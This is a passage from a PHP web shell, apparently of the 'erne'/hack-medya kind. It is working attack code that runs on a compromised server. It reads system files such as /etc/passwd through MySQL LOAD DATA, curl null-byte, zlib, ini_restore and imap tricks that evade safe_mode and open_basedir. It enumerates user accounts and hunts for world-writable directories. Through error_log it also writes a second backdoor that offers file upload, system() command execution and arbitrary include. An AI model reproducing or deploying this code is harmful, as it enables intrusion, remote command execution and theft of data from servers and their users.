821$file=$_POST['Mohajer22'];
822
823
824$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
825$mysql_files = explode(':', $mysql_files_str);
826
827$sql = array (
828"USE $mdb",
829'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
830"LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
831. "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
832. "ESCAPED BY '' "
833. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
834
835"SELECT a FROM $tbl LIMIT 1"
836);
837mysql_connect ($mhost, $muser, $mpass);
838
839 foreach ($sql as $statement) {
840 $q = mysql_query ($statement);
841
842 if ($q == false) die (
843 "FAILED: " . $statement . "\n" .
844 "REASON: " . mysql_error () . "\n"
845 );
846
847 if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
848
849 echo htmlspecialchars($r[0]);
850 mysql_free_result ($q);
851 }
852echo "</textarea>";
853}
854// ERORR //
855if(empty($_POST['ER'])){
856} else {
857$ERORR=$_POST['ER'];
858echo error_log("
859<html>
860<head>
861<title> Exploit: error_log() By * erne * </title>
862<body bgcolor=\"#000000\">
863<table Width='100%' height='10%' bgcolor='#D0D0D0' border='1'>
864<tr>
865<td><center><font size='6' color='#BBB516'> By erne </font></center></td>
866</tr>
867</table>
868<font color='#9C9C9C'>
869</head>
870<?
871if(\$fileup == \"\"){
872ECHO \" reade for up \";
873}else{
874\$path= exec(\"pwd\");
875\$path .= \"/\$fileup_name\";
876\$CopyFile = copy(\$fileup,\"\$path\");
877if(\$CopyFile){
878echo \" up ok \";
879}else{
880echo \" no up \";
881}
882}
883if(empty(\$_POST['m'])){
884} else {
885\$m=\$_POST['m'];
886echo system(\$m);
887}
888if(empty(\$_POST['cmd'])){
889} else {
890\$h= \$_POST['cmd'];
891 print include(\$h) ;
892}
893?>
894<form method='POST' enctype='multipart/form-data' >
895<input type='file' name='fileup' size='20'>
896<input type='submit' value=' up '>
897</form>
898<form method='POST' >
899<input type='cmd' name='cmd' size='20'>
900<input type='submit' value=' open (shill.txt) '>
901</form>
902<form method='POST' enctype='multipart/form-data' >
903<input type='text' name='m' size='20'>
904<input type='submit' value=' run '>
905<input type='reset' value=' reset '>
906</form>
907", 3,$ERORR);
908}
909
910// id //
911if ($_POST['plugin'] ){
912echo "read file id" ,"<br>";
913echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
914
915
916
917 for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
918 $ara = posix_getpwuid($uid);
919 if (!empty($ara)) {
920 while (list ($key, $val) = each($ara)){
921 print "$val:";
922 }
923 print "\n";
924 }
925 }
926 echo "</textarea>";
927 break;
928
929
930 }
931
932
933// CURL //
934if(empty($_POST['curl'])){
935
936} else {
937echo "read file CURL","<br>" ;
938echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
939$m=$_POST['curl'];
940$ch =
941curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__);
942curl_exec($ch);
943var_dump(curl_exec($ch));
944echo "</textarea>";
945}
946
947// copy//
948$u1p="";
949$tymczas="";
950if(empty($_POST['copy'])){
951} else {
952echo "read file copy" ,"<br>";
953echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
954$u1p=$_POST['copy'];
955$temp=tempnam($tymczas, "cx");
956if(copy("compress.zlib://".$u1p, $temp)){
957$zrodlo = fopen($temp, "r");
958$tekst = fread($zrodlo, filesize($temp));
959fclose($zrodlo);
960echo "".htmlspecialchars($tekst)."";
961unlink($temp);
962echo "</textarea>";
963} else {
964die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
965<B>".htmlspecialchars($u1p)."</B> dosen't exists or you don't have
966access.</CENTER></FONT>");
967}
968}
969
970/// ini_restore //
971if(empty($_POST['M2'])){
972} else {
973echo "read file ini_restore","<br> ";
974echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
975$m=$_POST['M2'];
976echo ini_get("safe_mode");
977echo ini_get("open_basedir");
978$s=readfile("$m");
979ini_restore("safe_mode");
980ini_restore("open_basedir");
981echo ini_get("safe_mode");
982echo ini_get("open_basedir");
983$s=readfile("$m");
984echo "</textarea>";
985}
986
987// imap //
988
989$string = !empty($_POST['string']) ? $_POST['string'] : 0;
990$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0;
991
992if ($string && $switch == "file") {
993echo "read file imap" ,"<br>";
994echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
995
996$stream = imap_open($string, "", "");
997
998$str = imap_body($stream, 1);
999if (!empty($str))
1000echo "<pre>".$str."</pre>";
1001imap_close($stream);
1002echo "</textarea>";
1003} elseif ($string && $switch == "dir") {
1004echo "read dir imap","<br>" ;
1005echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1006
1007$stream = imap_open("/etc/passwd", "", "");
1008if ($stream == FALSE)
1009die("Can't open imap stream");
1010$string = explode("|",$string);
1011if (count($string) > 1)
1012$dir_list = imap_list($stream, trim($string[0]), trim($string[1]));
1013else
1014$dir_list = imap_list($stream, trim($string[0]), "*");
1015echo "<pre>";
1016for ($i = 0; $i < count($dir_list); $i++)
1017echo "$dir_list[$i]"."<p> </p>" ;
1018echo "</pre>";
1019imap_close($stream);
1020echo "</textarea>";
1021}
1022$tb->tdbody ("</td></tr></table>");
1023// open dir //
1024$tb->tableheader();
1025$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Exploit: Open dir </b></td></tr></table>','center','top');
1026$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>');
1027
1028if(empty($_POST['m'])){
1029echo "<div><FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'>
1030<table id=tb><tr><td><FONT COLOR=\"#9B9B9B\">path dir</FONT>
1031<INPUT type='text' name='m' size=70 value='./'>
1032<INPUT type='submit' value='show' id=input></td></tr></table></form></div>";
1033
1034} else {
1035$m=$_POST['m'];
1036$spath = $m ;
1037$path = $m ;
1038
1039
1040
1041
1042 $method = intval(trim($_POST['method']));
1043
1044 $handle = opendir($path);
1045
1046 $_folders = array();
1047
1048 $i = 0;
1049
1050 while (false !== ($file = readdir($handle)))
1051 {
1052 $full_path = "$path/$file";
1053 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
1054
1055 if ((is_dir($full_path)) && ($perms == '0777'))
1056 {
1057 if (!file_exists('.*')) {
1058
1059 $_folders[$i] = $file;
1060
1061 $i++;
1062 }
1063 }
1064 }
1065
1066
1067 closedir($handle);
1068 clearstatcache();
1069
1070
1071
1072 echo '<strong><FONT COLOR=#9B9B9B>The folders is 777 :</strong><br />';
1073
1074 foreach ($_folders as $folder)
1075 {
1076 echo $folder.'<br />';
1077 }
1078//////////
1079$handle = opendir($path);
1080
1081 $_folders = array();
1082
1083 $i = 0;
1084
1085 while (false !== ($file1 = readdir($handle)))
1086 {
1087 $full_path = "$path/$file1";
1088 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
1089
1090 if ((is_dir($full_path)) && ($perms == '0755'))
1091 {
1092 if (!file_exists('.*')) {
1093
1094 $_folders[$i] = $file1;
1095
1096 $i++;
1097 }
1098 }
1099 }
1100
1101
1102
1103 clearstatcache();
1104
1105
1106
1107 echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 755 :</strong><br />';
1108
1109 foreach ($_folders as $folder)
1110 {
1111 echo $folder.'<br />';
1112 }
1113//////////
1114$handle = opendir($path);
1115
1116 $_folders = array();
1117
1118 $i = 0;
1119
1120 while (false !== ($file1 = readdir($handle)))
1121 {
1122 $full_path = "$path/$file1";
1123 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
1124
1125 if ((is_dir($full_path)) && ($perms == '0644'))
1126 {
1127 if (!file_exists('.*')) {
1128
1129 $_folders[$i] = $file1;
1130
1131 $i++;
1132 }
1133 }
1134 }
1135
1136
1137
1138 clearstatcache();
1139
1140
1141
1142 echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 644 :</strong><br />';
1143
1144 foreach ($_folders as $folder)
1145 {
1146 echo $folder.'<br />';
1147 }
1148//////////
1149$handle = opendir($path);
1150
1151 $_folders = array();
1152
1153 $i = 0;
1154
1155 while (false !== ($file1 = readdir($handle)))
1156 {
1157 $full_path = "$path/$file1";
1158 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
1159
1160 if ((is_dir($full_path)) && ($perms == '0750'))
1161 {
1162 if (!file_exists('.*')) {
1163
1164 $_folders[$i] = $file1;
1165
1166 $i++;
1167 }
1168 }
1169 }
1170
1171
1172
1173 clearstatcache();
1174
1175
1176
1177 echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 750 :</strong><br />';
1178
1179 foreach ($_folders as $folder)
1180 {
1181 echo $folder.'<br />';
1182 }
1183//////////
1184$handle = opendir($path);
1185
1186 $_folders = array();
1187
1188 $i = 0;
1189
1190 while (false !== ($file1 = readdir($handle)))
1191 {
1192 $full_path = "$path/$file1";
1193 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
1194
1195 if ((is_dir($full_path)) && ($perms == '0604'))
1196 {
1197 if (!file_exists('.*')) {
1198
1199 $_folders[$i] = $file1;
1200
1201 $i++;
1202 }
1203 }
1204 }
1205
1206
1207
1208 clearstatcache();
1209
1210
1211
1212 echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 604 :</strong><br />';
1213
1214 foreach ($_folders as $folder)
1215 {
1216 echo $folder.'<br />';
1217 }
1218//////////
1219$handle = opendir($path);
1220
1221 $_folders = array();
1222
1223 $i = 0;
1224
1225 while (false !== ($file1 = readdir($handle)))
1226 {
1227 $full_path = "$path/$file1";
1228 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
1229
1230 if ((is_dir($full_path)) && ($perms == '0705'))
1231 {
1232 if (!file_exists('.*')) {
1233
1234 $_folders[$i] = $file1;
1235
1236 $i++;
1237 }
1238 }
1239 }
1240
1241
1242
1243 clearstatcache();
1244
1245
1246
1247 echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 705 :</strong><br />';
1248
1249 foreach ($_folders as $folder)
1250 {
1251 echo $folder.'<br />';
1252 }
1253//////////
1254$handle = opendir($path);
1255
1256 $_folders = array();
1257
1258 $i = 0;
1259
1260 while (false !== ($file1 = readdir($handle)))
1261 {
1262 $full_path = "$path/$file1";
1263 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
1264
1265 if ((is_dir($full_path)) && ($perms == '0606'))
1266 {
1267 if (!file_exists('.*')) {
1268
1269 $_folders[$i] = $file1;
1270
1271 $i++;
1272 }
1273 }
1274 }
1275
1276
1277
1278 clearstatcache();
1279
1280
1281
1282 echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 606 :</strong><br />';
1283
1284 foreach ($_folders as $folder)
1285 {
1286 echo $folder.'<br />';
1287 }
1288//////////
1289$handle = opendir($path);
1290
1291 $_folders = array();
1292
1293 $i = 0;
1294
1295 while (false !== ($file1 = readdir($handle)))
1296 {
1297 $full_path = "$path/$file1";
1298 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
1299
1300 if ((is_dir($full_path)) && ($perms == '0703'))
1301 {
1302 if (!file_exists('.*')) {
1303
1304 $_folders[$i] = $file1;
1305
1306 $i++;
1307 }
1308 }
1309 }
1310
1311
1312
1313 clearstatcache();
1314
1315
1316
1317 echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 703 :</strong><br />';
1318
1319 foreach ($_folders as $folder)
1320 {
1321 echo $folder.'<br />';
1322 }
1323
1324
1325
1326 }
1327 $handle = opendir($path);
1328
1329 $_folders = array();
1330
1331 $i = 0;
1332
1333 while (false !== ($file1 = readdir($handle)))
1334 {
1335 $full_path = "$path/$file1";
1336 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
1337
1338
1339
1340
1341 $_folders[$i] = $file1;
1342
1343 $i++;
1344
1345
1346 }
1347
1348
1349
1350 clearstatcache();
1351
1352
1353
1354 echo '</FONT><strong><FONT COLOR=#9B9B9B>www.ernealizm.us :</strong><br />';
1355
1356 foreach ($_folders as $folder)
1357 {
1358 echo $folder.'<br />';
1359 }
1360
1361 echo '</FONT><strong><FONT COLOR=#9C9C9C>www.hack-medya.org: </strong>'.$i.'</FONT><br />';
1362$tb->tdbody ("</td></tr></table>");
1363
1364$tb->tableheader();
1365$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Exploit: break ****ing safe-mode </b></td></tr></table>','center','top');
1366$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>');
1367
1368
1369 error_reporting(E_WARNING);
1370 ini_set("display_errors", 1);
1371
1372 echo "<head><title>".getcwd()."</title></head>";
1373
1374 echo "<form method=POST>";
1375 echo "<div style='float: left'><FONT COLOR=\"#9B9B9B\">Root directory: </FONT><input type=text name=root value='{$_POST['root']}'></div>";
1376 echo "<input type=submit value='--»'></form>";
1377
1378
1379
1380 // break ****ing safe-mode !
1381
1382 $root = "/";
1383
1384 if($_POST['root']) $root = $_POST['root'];
1385
1386 if (!ini_get('safe_mode')) die("<font size=-2 face=verdana color='#9B9B9B'>Safe-mode is OFF.</font>");
1387echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1388 $c = 0; $D = array();
1389 set_error_handler("eh");
1390
1391 $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
1392
1393 for($i=0; $i < strlen($chars); $i++){
1394 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
1395
1396 $prevD = $D[count($D)-1];
1397 glob($path."*");
1398
1399 if($D[count($D)-1] != $prevD){
1400
1401 for($j=0; $j < strlen($chars); $j++){
1402
1403 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";
1404
1405 $prevD2 = $D[count($D)-1];
1406 glob($path."*");
1407
1408 if($D[count($D)-1] != $prevD2){
1409
1410
1411 for($p=0; $p < strlen($chars); $p++){
1412
1413 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
1414
1415 $prevD3 = $D[count($D)-1];
1416 glob($path."*");
1417
1418 if($D[count($D)-1] != $prevD3){
1419
1420
1421 for($r=0; $r < strlen($chars); $r++){
1422
1423 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
1424 glob($path."*");
1425
1426 }
1427
1428 }
1429
1430 }
1431
1432 }
1433
1434 }
1435
1436 }
1437
1438 }
1439
1440 $D = array_unique($D);
1441
1442
1443 foreach($D as $item) echo "{$item}\n";
1444
1445
1446
1447
1448
1449 function eh($errno, $errstr, $errfile, $errline){
1450
1451 global $D, $c, $i;
1452 preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
1453 if($o){ $D[$c] = $o[2]; $c++;}
1454
1455 }
1456 echo "</textarea>";
1457$tb->tdbody ("</td></tr></table>");
1458?>